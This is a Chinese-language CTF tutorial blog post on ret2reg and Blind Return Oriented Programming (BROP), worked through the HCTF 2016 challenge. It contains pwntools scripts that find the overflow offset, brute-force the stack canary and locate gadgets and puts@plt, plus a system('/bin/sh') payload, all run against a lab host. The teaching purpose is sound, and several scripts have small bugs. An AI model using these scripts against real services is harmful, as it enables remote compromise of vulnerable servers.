再探ROP(下)-- 不一樣的知識世界

0x01 概述

先說一下這篇文章的脈絡結構:
一、ret2reg 的學習和理解
二、brop 的學習和探討
雖然分爲兩部分,重頭大戲還是brop的學習和探討,ret2reg的知識就是就是對前面知識的變換,很簡單,所以不做深入,不佔用篇幅。在概述裏面我會簡單說一下brop部分,已經爲什麼要寫這篇文章。

以上是一個分割線,這裏步入正題。
brop,早在2014年,發表在Oakland的一篇文叫Hacking Blind,作者是來自Standford的Andrea Bittau, 這是一位巨佬級人物,看完他的論文後真的很佩服,在當時就把這個技術講述的淋漓盡致(論文什麼的後續會細說,這裏就是拋磚引玉)。
那爲什麼要寫這篇文章呢?
一、記錄自己的學習歷程,算是一個備忘錄,俗話說:好記性不如爛筆頭。
二、在學習中(這裏強調一下,作爲小白的我,從一片空白到剛剛接觸)踩過坑,怎麼一步一步小白式的理解,或者大言不慚一下:通熟易懂,把涉及的知識面、知識點都覆蓋到。
好了,開始今天的表演,show time~

0x02 ret2reg

2-1 起因

安全人員爲保護免受ret2addr攻擊,想到了一個辦法,那就是地址混淆技術。該述語英文稱爲 Address Space Layout Randomize,直譯爲地址隨機化。該技術將棧,堆和動態庫空間全部隨機化。在32位系統上,隨機量在64M範圍;而在64位系統,它的隨機量在2G範圍,因此原來的ret2addr技術無法攻擊成功。
ret2addr其實就是我們上一篇文章說到的方法,具體請見上一篇文章。
不過雖有有了保護,攻與守總會在相輔相成,互相促進,互相進步,因此很快攻擊者想到另一種攻擊方法ret2reg,即return-to-register,返回到寄存地址執行的攻擊方法。

2-2 原理

1) 存在棧溢出漏洞,滿足ret2shellcode利用條件,開啓了aslr,沒有開啓pie
2)能拿到原文件,並且找到了與我們可控的棧空間有關聯的寄存器reg1
3)棧溢出覆蓋ret addr位置爲call *reg1指令的地址,此時棧中寫入了shellcode,找到的reg1存儲的地址爲shellcode的起始地址。

普及一下aslr和pie的區別:
aslr,直譯爲地址隨機化。該技術將棧,堆和動態庫空間全部隨機化。
pie,linux gcc編譯器隨後提供了fpie選項,此編譯後修補aslr的漏洞,除了將棧,堆和動態庫空間全部隨機化,還把整個程序地址混淆了。

只要理解了ret2shellcode,只需要找到一個可控存儲內容的寄存器,再有一條call *reg的指令即可完成此攻擊。說到底,寄存器僅僅是一箇中間介質。由於簡單,僅僅是ret2shellcode的升級,就不再展開細說了,開始讓我激動的第三部分。

0x03 brop詳解

第二部分很簡單,這裏纔是這篇文章的重點和精華,馬上開始。
再探討brop之前我們得先了解一下概念和幾點基本知識,能夠幫助我們繼續往下探討:

3-1 概述

開頭已經引入了一些內容,這裏補充一下
BROP攻擊,全稱Blind Return Oriented Programming Attack,是基於一篇發表在Oakland 2014的論文Hacking Blind,作者是來自Standford的Andrea Bittau。
引用原文一句話:
通過BROP攻擊,無需擁有目標二進制文件就可以編寫漏洞利用程序。它需要堆棧溢出,並且服務必須在崩潰後重新啓動。根據服務是否崩潰(即,連接關閉還是保持打開狀態),BROP攻擊能夠構建導致Shell的完整遠程利用。BROP攻擊會遠程泄漏足夠的小工具來執行寫系統調用,然後將二進制文件從內存轉移到攻擊者的套接字。之後,可以執行標準的ROP攻擊。除了攻擊專有服務外,BROP在針對不公開使用特定二進制文件(例如從源代碼安裝程序,Gentoo盒等安裝)的開源軟件時非常有用。
當針對專有服務進行測試時,該攻擊完成了4,000個請求(在幾分鐘內),並且在nginx和MySQL中存在實際漏洞。
有時在服務器中看到的根本問題是,它們在崩潰後派生了一個新的工作進程,而沒有任何重新隨機化(例如,沒有execve跟隨派生)。例如,nginx就是這樣做的。

原文地址:點擊直達

仔細閱讀上述文字和文章,大體的概念和用處已經一目瞭然了。
這裏再給出相關的paper和slide
paper - 點擊直達
slide - 點擊直達

根據以上文章大家可以學到作者Andrea Bittau的絕妙思路和操作,仔細研讀後就能領悟到其中的精華(看了翻譯的的論文,暈暈的,太難了,來自小白對大佬的仰望,不說這些,還是來點實際的,老老實實的學習)
繼續探討前要明白兩個概念:
stop gadget:一般情況下,棧上的return address隨意覆蓋的內存地址的話,程序有很大可能性會掛掉,比如,該return address指向了一段代碼區域,裏面會有一些對空指針的訪問造成程序crash,又比如p64(0)。那麼與之相反(程序不會crash)就是stop gadget。
useful gadget:我們能夠作爲payload的gadget,比如我們後面會說到的pop rdi; ret。

有了這些知識後,我們繼續往下走。

3-2 逆向思維切入

看過好多相關的文章,大佬們寫得太棒啦(深深的膜拜中),由於涉及的內容過多,對於我這個初學者來說,學習第一遍,雲裏霧裏,摸不清頭腦(究其原因,還是自己太菜了)。
於是爲了幫助這麼菜的我更好的學習,自己清晰地梳理一下我是怎麼樣從無到有的學習步驟:

1)搭建環境

從hctf2016 ——“出題人失蹤了”這道題目開始說起,本地搭建環境,編譯一個開啓了canary的保護機制的文件
gcc -z noexecstack -fno-stack-protector -no-pie -o brop brop.c
使用Socat建立通道進行訪問,可以發現

pwn@MacBook-Pro ~ %  nc 10.112.26.131 1000
WelCome my friend,Do you know password?
123
No password, no game

在沒有elf文件的情況下進行,顯然就是brop手法運用的場景。
nc後,程序會有一個輸入等待地方,依照之前的知識,可以知道這裏很有可能就存在棧溢出漏洞,繼續輸入過長的字符,只需要溢出時拋出異常即可。

pwn@MacBook-Pro ~ % nc 10.112.26.131 1000
WelCome my friend,Do you know password?
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
pwn@MacBook-Pro ~ % 
2)溢出長度和爆破canary

既然要棧溢出,根據前面的經驗,需要知道溢出臨界點,也即是填充的長度是多少,很簡單,給出代碼:

from pwn import *
def getLength():
    i = 1
    while True:
        sh = remote('10.112.26.131', 1000)
        sh.recvuntil('WelCome my friend,Do you know password?\n')
        sh.send(i * 'a')
        try:
            byte = sh.recv()
        except Exception as e:
            print("[+] sucessfully! length is " + str(i-1) + "\n")
            sh.close()
            exit()
        length = byte.decode()
        sh.close()
        if length.startswith('No password'):
            print("[*] length greater than " + str(i) + "\n")
        else:
            exit()    
        i = i + 1
    sh.close()
if __name__ == "__main__":
    getlength()
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[+] sucessfully! length is 72
[*] Closed connection to 10.112.26.131 port 1000
[Finished in 1.6s]

可以發現length是72,由於原題沒有開啓canary保護機制,所以就省略了一步操作,我們重在於學習,因此開啓canary保護機制重新利用,這裏有幾點需要注意:
BROP對存在棧溢出的ELF進行指令盲注,需要幾個前提:一、進程crash後可以重啓,這個當前例子即可滿足;二、進程通過fork重啓,從而保持多次重啓程序時的狀態不變,比如canary不變。
給出爆破cannay代碼:

def getCanary():
    sh = remote('10.112.26.131', 10001)
    canary = '\x00'
    payload_base = 72 * 'a'
    for i in range(7):
        payload_base = payload_base + canary
        for j in range(256):
            sh.recvuntil('WelCome my friend,Do you know password?\n')
            payload = payload_base
            payload += chr(j)
            sh.send(payload)
            byte = sh.recv()
            if 'Welcome' in byte:
           		canary = chr(j)
           		break
 	print(payload_base)

參考:canary各種姿勢繞過的bin1
以上只是其中的一個插曲,繼續探討正題。

3)如何getshell

有了長度,也可以知道是存在棧溢出漏洞,豈不是按照之前的方法getshell就完成了嗎?接下來一頓操作猛如虎。

現在我們知道溢出臨界點位置,下面就是如何構造payload進行getshell。
這裏思路其實很簡單,都是利用棧溢出來進行getshell,特殊的只是需要brop的方法。
根據現有知識(從第一篇文章讀到這,腦海裏僅僅只有一般的棧溢出利用)我們對於此題或者說怎麼樣去運用此方法。
其實就是實現如下操作即可,如下圖:

在這裏插入圖片描述

相應的,給出代碼:

def getShell(pop_rdi_addr, binsh_addr, system_adddr):
    payload =  'a' * 72  + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_adddr)
    sh = remote('10.112.26.131', 1000)
    sh.recvuntil('WelCome my friend,Do you know password?\n')
    sh.send(i * 'a')
    sh.interactive()

是不是與之前的知識有了對應?但是呢,問題也隨之來了,在沒有elf文件的時候,pop_rdi_addr, binsh_addr, system_adddr這三個參數如何得來呢?
下面就是解決此三個三個參數了。

4)尋找直接條件

尋找 pop_rdi_addr

pop rdi;
ret;

這一個是不是很眼熟呢?在上一部分的ret2csu中有一個地方是可以得到此gadgets,繼續往下看:

在這裏插入圖片描述

注意這裏,當然沒有pop rdi的身影,這裏我們要知道彙編語言指令是機器指令的一種符號表示,也就是說兩者是一一對應的,比如0x90就是nop指令。這裏插入一個小插曲,如下圖所示:

在這裏插入圖片描述

gdb-peda$ x /1x 0x4007a0
0x4007a0 <__libc_csu_init+96>:	0x5f415e41
gdb-peda$ x /1x 0x4007a1
0x4007a1 <__libc_csu_init+97>:	0xc35f415e
gdb-peda$ x /1x 0x4007a2
0x4007a2 <__libc_csu_init+98>:	0x90c35f41
gdb-peda$ x /1x 0x4007a4
0x4007a4 <__libc_csu_init+100>:	0x2e6690c3
gdb-peda$ x /1x 0x4007a5
0x4007a5:	0x0f2e6690

上述gdb處需要知道有一個小常識,小端存儲,然後再與上圖相對照。
小插曲結束,我們回到正題,爲什麼要有這一個小插曲呢?根據偏移值的不同,導致編譯時候對齊位置不同,可以讓機器編碼變成不同指令了,依然是以上圖爲例:

gdb-peda$ x /1i 0x4007a1
   0x4007a1 <__libc_csu_init+97>:	pop    rsi
gdb-peda$ x /1i 0x4007a3
   0x4007a3 <__libc_csu_init+99>:	pop    rdi
gdb-peda$ x /1i 0x4007a4
   0x4007a4 <__libc_csu_init+100>:	ret

在這裏插入圖片描述

偏移量不同,對齊後就會形成我們想要的指令,當然我們也可以使用ida,修改一下byte,進行對比看一下:

在這裏插入圖片描述

說麼這麼多廢話就是爲了找到這一個gadgets,接下來就是尋找binsh_addr, system_adddr,這個現在細說不合適,大體說一下,後面會水到渠成的理解。我們在得到put@got表的內容後,通過偏移計算出 system() 函數和字符串 /bin/sh 的地址,這裏其實就是前面的方法的知識。

5)尋找間接條件

說到這,我們只能確定直接getshell的條件,先捋一下,清晰條理:
一、通過通用gadgets(__libc_csu_init)尋找到pop_rdi_addr
二、得到put@got表的內容後,尋找到binsh_addr和 system_adddr

那麼相應的問題就來了
一、如何能找到通用gadgets(__libc_csu_init)呢?並且順利找到pop_rdi_addr
二、如何獲取put@got表的內容

因爲偏移的計算在前面的方法中已經使用過,可以去回顧一下。

先來解決第一個問題:如何能找到通用gadgets(__libc_csu_init)呢?並且順利找到pop_rdi_addr。

因爲拿不到源程序,所以解決第一個問題的方法是構造相應的payload去猜測出是否某一段代碼是,並且去驗證,最後拿到此gadgets的地址。
文章這部分開頭已經提到了stop gadget,相反也有no stop gadget,兩者配合即可找到通用gadgets(__libc_csu_init),進而獲取我們的useful gadget,或者說我們brop gadget,用一張圖形象的表述出來如何構造:

在這裏插入圖片描述

一般來說,都是64位程序,可以直接從0x400000嘗試,如果不成功,有可能程序開啓了PIE保護或者是32位程序,顯然此題是no pie的64bit文件。從0x400000開始直到初步找到有使程序不crash的地方,這個地方有可能就是是六個pop操作(大於或者小於6個,rip就會指向p64(0)(當然你填寫p64(1),p64(2)等都可以),導致程序crash)和一個retq操作。 然後需要一步檢查,如果經過一個useful gadget把上圖中的addr,恰巧addr是stop gadget返回給rip中,這個useful gadget雖然符合條件,但是顯然不是我們要找的brop gadget,因此需要一步檢查。

在這裏插入圖片描述

此時對useful gadget進行檢查,若crash,則基本上brop gadget。爲了後續的代碼能夠有效運行,我們得先找到stop gadget,得先補一個代碼,就是找到一個stop gadget,因爲這是尋找其他片段的前提,在尋找的過程中可以發現stop gadgets有不少,這裏挑選出來main函數的入口地址(個人強迫症,而且也沒有用途,畫蛇添足),給出代碼:

def getMain(base_addr):
    addr = base_addr
    while True:
        payload = p64(0) * 9 + p64(addr)
        sh = remote('10.112.26.131', 1000)
        sh.recvuntil('WelCome my friend,Do you know password?\n')
        sh.send(payload)
        try:
            byte = sh.recv()
        except Exception as e:
            sh.close()
            print("[+] bad address: 0x%x" % addr)
            addr += 1
            continue
        c = byte.decode()
        print("[*] stop gadget address: 0x%x" % addr)
        if c.startswith('WelCome my friend'):
            print("[*] main address: 0x%x" % addr)
            return addr
        addr += 1
        sh.close()

運行結果:

[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] Closed connection to 10.112.26.131 port 1000
[+] bad address: 0x400685
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] Closed connection to 10.112.26.131 port 1000
[+] bad address: 0x400686
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] stop gadget address: 0x400686
[*] main address: 0x400686
[Finished in 16.3s]

如果使用此代碼可以在 print("[*] stop gadget address: 0x%x" % addr)後加一句sleep(10),獲取其他的stop gadget就方便了,這裏補充三個(用main真的是畫蛇添足):
[*] stop gadget address: 0x40054c
[*] stop gadget address: 0x40054e
[*] stop gadget address: 0x40054f
stop gadget的尋找代碼補上了,不難理解,爲了畫面優美(不然除了黑就是白,太單調了)補充一副運行圖

在這裏插入圖片描述

有了stop gadget那麼就繼續尋找brop gadget,這裏給出代碼:

def getBropGadget(base_addr, stop_gadget):
    addr = base_addr
    while True:
        payload = p64(0) * 9 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
        try:
            sh = remote('10.112.26.131', 1000)
            sh.recvuntil('WelCome my friend,Do you know password?\n')
            sh.sendline(payload)
            sh.recvline()
            sh.close()
            print("find address: 0x%x" % addr)
            try:    
                payload = p64(0) * 9 + p64(addr) + p64(0) * 10
                sh = remote('10.112.26.131', 1000)
                sh.recvline()
                sh.sendline(payload)
                sh.recvline()
                sh.close()
                print("bad address: 0x%x" % addr)
            except:
                sh.close()
                print("final gadget address: 0x%x" % addr)
                return addr
        except:
            sh.close()
        addr += 1

可以發現,find address會有不少個,所以我們檢查是有必要的,這裏給出final gadget address運行結果:

[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] Closed connection to 10.112.26.131 port 1000
find address: 0x40079a
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] Closed connection to 10.112.26.131 port 1000
final gadget address: 0x40079a

這裏找到了上圖中popq %rbx的地址,偏移9後即popq %rdi的地址,也就是0x4007a3。

ps:
可能會對payload有些不解,這裏解釋一下:
前面測出來棧溢出的長度是72,那麼使用payload = 'a' * 72 +,但是在此時( payload = 'a' * 72 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10)會報錯:can only concatenate str (not "int") to str,由於類型不一樣造成的。
解決辦法:直接使用payload = p64(0) * 9 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10

解決第二個問題:如何獲取put@got表的內容。

很眼熟的問題,在基本rop方法中學到過,具體請見上一篇文章,只要找到put()(有輸出功能的函數,當然也可以write())所在的plt表,那麼在這個場景中怎麼找到put@plt就是關鍵的一步。
在上一個小問題中也說到了,只要利用stop gadget等構造合適的payload即可獲取到我們想要的useful gadget。
此時怎麼構造呢?
第一步就是先了解一下plt表,在之前的文章我們探討過,具體詳見此文章,在這裏簡單說一下,plt 表的一般在可執行程序開始的地方,他有一個特點就是具有比較規整的結構,每一個表項都是 16 字節,每個表項的 6 字節偏移處,是該表項對應函數的解析路徑,也就是got表的位置。另外,大部分的PLT項都不會因爲傳進來的參數的原因crash,因爲它們很多都是系統調用,都會對參數進行檢查,如果有錯誤會返回EFAULT而已,並不會造成進程crash。所以若發現好多條連續的16個字節對齊的地址都不會造成進程crash,而且這些地址加6得到的地址也不會造成進程crash,那麼很有可能這就是某個PLT對應的項了。 當然我們也可以這樣,如下圖:

在這裏插入圖片描述

那麼contexts(過程:rdi -> context_addr -> contexts)就會打在熒屏上了,只需判斷此條件即可獲取put@plt,這裏給出代碼。

def getPutPlt(base_addr, stop_gadget, pop_rdi_addr):
    addr = base_addr
    while True:
        payload = p64(0) * 9 + p64(pop_rdi_addr) + p64(0x400001) + p64(addr) + p64(stop_gadget)
        sh = remote('10.112.26.131', 1000)
        sh.recvuntil('WelCome my friend,Do you know password?\n')
        sh.send(payload)
        try:
            byte = sh.recv()
        except:
            sh.close()
            addr += 1
            continue
        c = byte.decode()
        if c.startswith('ELF'):
            print("[*] put@plt address: 0x%x" % addr)
            return addr
        addr += 1
        sh.close()

運行結果:

[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] put@plt address: 0x400545
[Finished in 11.9s]

這裏需要解釋一下,爲什麼是0x400001和startswith(‘ELF’)。
首先要保證此地址在程序中是有的,然後每個程序該地址中內容都相同,因爲byte.startswith(’\x7fELF’)會報錯,不如從第一位開始。下面附圖一張,解釋爲什麼是ELF,更有說服力。
[外鏈圖片轉存失敗,源站可能有防盜在這裏插入!鏈機制,建描述](https://img-blog議將存csdnimg下cn/20200516114555588來png?x-oss-process=接上a傳e/watermirk,type_ZaFuZ3po2WmZyP5naGVpdGk,shadow_10,text_aHR0cH9Ly9ibG9nLmNzZG4ubmV6L0dlaXhpbl10MTE4NTk1Mw==,size_18,color_FFFFFF,t_60#pic_center4(https://blog.csdn.net/weixin_41185953/article/details/104901494)]

有了put@plt,就像上一篇所說到的,將put@got放入rdi,即可取得put的真實地址,但是問題又來了如何找到put@got呢?
當然就是這個方法的特色啦,使用put函數將plt表段給dump下來,此時還可以順便把data表段dump下來,萬一有“/bin/sh”呢。 至於地址範圍可以隨便找一個程序放入ida看一下。
代碼如下:

def dump(base_addr, stop_gadget, pop_rdi_addr, put_plt_addr):
    addr = base_addr
    while addr < 0x401000:
        payload = p64(0) * 9 + p64(pop_rdi_addr) + p64(addr) + p64(put_plt_addr) + p64(stop_gadget)
        sh = remote('10.112.26.131', 1000)
        sh.recvuntil('WelCome my friend,Do you know password?\n')
        sh.send(payload) 
data = sh.recv(timeout=0.1)  
        if data == "\n":
            data = "\x00"
        elif data[-1] == "\n":
            data = data[:-1]
        if addr == 0x400000:
            result = data
        else:
            result += data
        addr += len(data)
        sh.close()
    return result

puts 函數通過 \x00 進行截斷,並且會在每一次輸出末尾加上換行符 ,所以需要做一些處理,首先去掉末尾 puts 自動加上的 \n,然後有兩種情況:
一、如果 recv 到一個 \n,說明內存中是 \x00;
二、如果 recv 到一個 \n\n,說明內存中是 \x0a,並且對recv進行延時。
將提取出來的內容寫入文件中,保存到本地,然後拖入ida中,edit->segments->rebase program 將程序的基地址改爲0x400000,找到偏移0x545 (爲什麼是這個地址呢?因爲剛纔獲取到了put@plt,那麼根據plt表特點就知道在附近啦) ,按c進行編譯成彙編語言:

在這裏插入圖片描述

成功得到put@got爲0x601018,下面的泄漏出put真實地址和根據在libc中通過偏移找到system和"/bin/sh"字符串,以及最後getshell就不再佔用篇幅細說了(已經水了1w5+字了),上一篇文章已經很詳細了,具體請見上一篇文章,到這裏新的內容已經探討完了。

0x04 尾記

還未入門,詳細記錄每個知識點,爲了能更好地溫故知新,也希望能幫助和我一樣想要入門二進制安全的初學者,如有錯誤,希望大佬們指出。
參考:
Blind Return Oriented Programming (BROP) Attack - 攻擊原理
Blind Return Oriented Programming (BROP)
ctfwiki
canary各種姿勢繞過

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章